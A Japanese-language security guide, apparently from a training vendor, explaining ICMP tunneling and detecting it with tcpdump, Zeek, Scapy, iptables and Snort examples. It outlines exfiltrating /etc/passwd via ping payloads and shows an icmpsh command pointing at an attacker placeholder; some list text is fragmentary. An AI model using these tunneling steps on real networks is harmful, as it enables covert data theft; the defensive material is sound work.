
ICMPトンネリング、時には「隠密なpingベースの攻撃」とも呼ばれるものは、悪意のある攻撃者が指令・制御(C2)トラフィックやデータの不正流出を、通常は無害なインターネット制御メッセージプロトコル(ICMP)パケットに隠すことで行うネットワーク攻撃技術です。ICMPは、通常「ping」リクエストとして知られ、ファイアウォールや侵入検知システムの目をかいくぐりやすいため、ITセキュリティチームにとって大きな課題となっています。
このガイドでは、ICMPトンネリングとは何か、攻撃者がどのようにそれを実装するのか、それがなぜ回避方法として魅力的なのか、そして最も重要なこととして、セキュリティ専門家やネットワーク管理者がどのようにICMPトンネル攻撃を検出し、防御することができるのかについて説明します。初心者向けの説明から応用的な検出方法まで、実際の例やコードサンプルを用いてネットワークトラフィックのスキャン、モニタリング、および解析方法を示します。
インターネット制御メッセージプロトコル(ICMP)は、インターネットプロトコル・スイートの基本的な部分です。エラーメッセージ、ネットワーク診断、ステータスメッセージ用に設計されています。
主要な事実:
ping)、Destination Unreachable、Time Exceededなどがあります。ping、traceroute)、ネットワークデバイス間のエラーレポート。次のコマンドを発行すると:
ping google.com
あなたのコンピュータは一連のICMP Echo Requestパケットを生成し、Googleがpingを許可している場合はICMP Echo Replyパケットで応答します。
ICMPトンネリングとは、任意のペイロードデータをICMPパケット内にカプセル化する技術です。これには、流出するファイル、シェルコマンド、さらには完全なTCP接続など、通常のpingリクエストや返信に隠されたデータが含まれます。
組織では通常、ICMPトラフィックを正当なトラブルシューティングのために境界ファイアウォールを通過させることが多いため、攻撃者はこの信頼を利用して隠されたデータを渡したり、ネットワークにバックドアを作成したりします。
定義:
ICMPトンネリングとは、攻撃者がICMPパケット内に悪意のあるまたは不正なデータをエンコードしてネットワークアクセス制御を回避する隠密な通信方法です。
ICMPトンネリングは、特にEcho Request/ReplyのICMPパケットの構造を利用して、追加の隠されたデータを運びます。
icmpsh、ptunnel、カスタムスクリプトなどのツールを使用することが多い。通常のICMP Echo Requestパケットが次のように見えることがあります:
| フィールド | 例の値 |
|---|---|
| タイプ | 8 (Echo Request) |
| コード | 0 |
| チェックサム | 6920 |
| 識別子 | 13 |
| シーケンス番号 | 250 |
| データ | "Hello, world!" |
ICMPトンネリング攻撃は、"Data"セクションにBase64エンコードされた流出データを配置するかもしれません。
通常、ファイアウォールは外部からの直接接続(例: 着信SSH、HTTP/Sによるデータ流出)をブロックします。しかし、ICMPはネットワークトラブルシューティングを可能にするためにホワイトリスト化されることが多く、国際的な制約を超えても利用可能です。
高度持続的脅威(APT)アクターは、ICMPトンネルを使用して侵害されたホストを管理し、コマンドを送信し、ファイルを抽出します。これにより、通常のネットワークアラートを引き起こすことなく実行できます。
オープンソースの攻撃的セキュリティツールの中にはICMPトンネリングをサポートするものもあります:
内部脅威またはワークステーション上のマルウェアが組織外に機密ファイルを密輸出したいと考えています。
ステップ:
/etc/passwd)が分割され、エンコードされ、複数のEcho Requestに隠されます。ペネトレーションテスターや攻撃者がicmpshのようなツールを展開:
icmpsh -t <attacker_ip>を起動します。APTやマルウェア(特にBackdoor.Win32.ICMPdoorに代表される)が、高いセキュリティ環境でしばしばICMPトンネリングを利用して永続的なアクセスを得ているという報告があります。その他のアウトバウンドがHTTP/HTTPSとICMPのみが許可されている場合に限ります。
ICMPトンネリングの検出は、異常なパターンの特定やICMPパケットのペイロードの検査に依存します。
ICMPトラフィックを検査するのにしばしば使用されるパケットキャプチャツール。
# すべてのICMPトラフィックをキャプチャ、詳細な出力
sudo tcpdump -n -v icmp
疑わしい出力のサンプル(切り取られた):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
注意: 1024バイトは通常のping ICMPペイロードよりもかなり大きいです!
グラフィカルなパケットアナライザ。
icmpICMPスクリプトを内蔵した強力なネットワークセキュリティモニタリングツール。
異常なICMPペイロードをログに記録するスクリプト:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# 大きなペイロードをログまたはアラート
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Bash例: すべてのアウトバウンドpingペイロードをログ
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Python例: 異常なICMPペイロードを見つけるためのpcap解析
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
ICMPトンネルの悪用を積極的に発見するには、定期的なスキャンと異常検出が重要です。
ELKスタック、Zeek、Wiresharkのようなツールを使用して:
リアルタイムで最大のICMPパケットを見つける:
sudo tcpdump -ni eth0 icmp and greater 200
ダンプからのパケットサイズリスト:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: 大きなペイロードを持つEchoリクエストを報告
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
例: iptablesで外向きICMPをブロック
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Snortルールの例:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
ステートレスモニタリング—ICMPパケットのフローとサイズを追跡し、その状態やシーケンスだけでなく、個々のパケットで異常を検出する方法—が低影響でスケーラブルなトンネリングの検出手段として研究されています。
Singh & Nordströmによると、ステートレスモデルは、エンドホストやルーターに対して大規模でも有効に覆面チャネルをフラグし、ネットワーク性能に大きな影響を及ぼさないことが示されています。
ICMPトンネリングは、正当なネットワーク活動として溶け込むゆっくりとした脅威を表しており、ブルーチームにとっては検出や防御が難しいです。ICMPの診断での広範な使用と、多くの組織がそのようなトラフィックをファイアウォールで許可している頻度を考えると、攻撃者にとって隠密な指令制御、機密データの流出、または侵害されたホストへのアクセスを確立するための好ましい手段となっています。
組織の正当なICMP活動を基準にして、署名検知と異常検知の両方を適用することで、この隠密な脅威ベクトルをデータの損失やさらなる侵害が発生する前に無力化することができます。
あなたの周囲を安全にし、質素なpingを無視しないでください!
このコンテンツが価値あるものだと感じたなら、私たちの包括的な47週間のエリートトレーニングプログラムで何が達成できるか想像してみてください。ユニット8200の技術でキャリアを transformed した1,200人以上の学生に参加しましょう。